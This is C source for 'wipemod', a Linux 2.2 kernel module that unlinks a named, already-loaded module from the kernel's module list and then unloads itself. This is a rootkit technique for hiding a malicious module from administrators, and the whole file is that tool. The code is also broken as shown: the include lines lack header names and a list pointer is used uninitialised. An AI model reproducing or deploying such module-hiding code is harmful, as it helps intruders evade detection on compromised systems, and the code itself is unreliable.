/* * wipemod.c * dalai(dalai@insomnia.org) * * usage: 'insmod wipemod name=target.o' * * Notice: The target module must already be loaded, * and wipemod will unload itself. Also, because * it unloads itself, wipemod cannot restore a module * into the list after it has been taken out. * * This is built for Linux 2.2. * * Ignore annoying secondary error messages. */ #include #include #include char *name; MODULE_PARM(name, "s"); int init_module() { struct module *lmod; if (name == NULL) { printk("<1>usage: 'insmod wipemod name=target.o'\n"); return 1; } while (1) { if (!lmod->next) { printk("<1>Failure. Perhaps the target module isn't loaded?\n"); return 1; } if (!strcmp((char *) lmod->next->name, name)) { if (lmod->next->ndeps != 0) /* level ndeps */ lmod->next->ndeps = 0; lmod->next = lmod->next->next; printk("<1>Success.\n"); return 1; /* return 1 so it will unload. */ } lmod = lmod->next; } } void cleanup_module() { /* This will never be called. */ }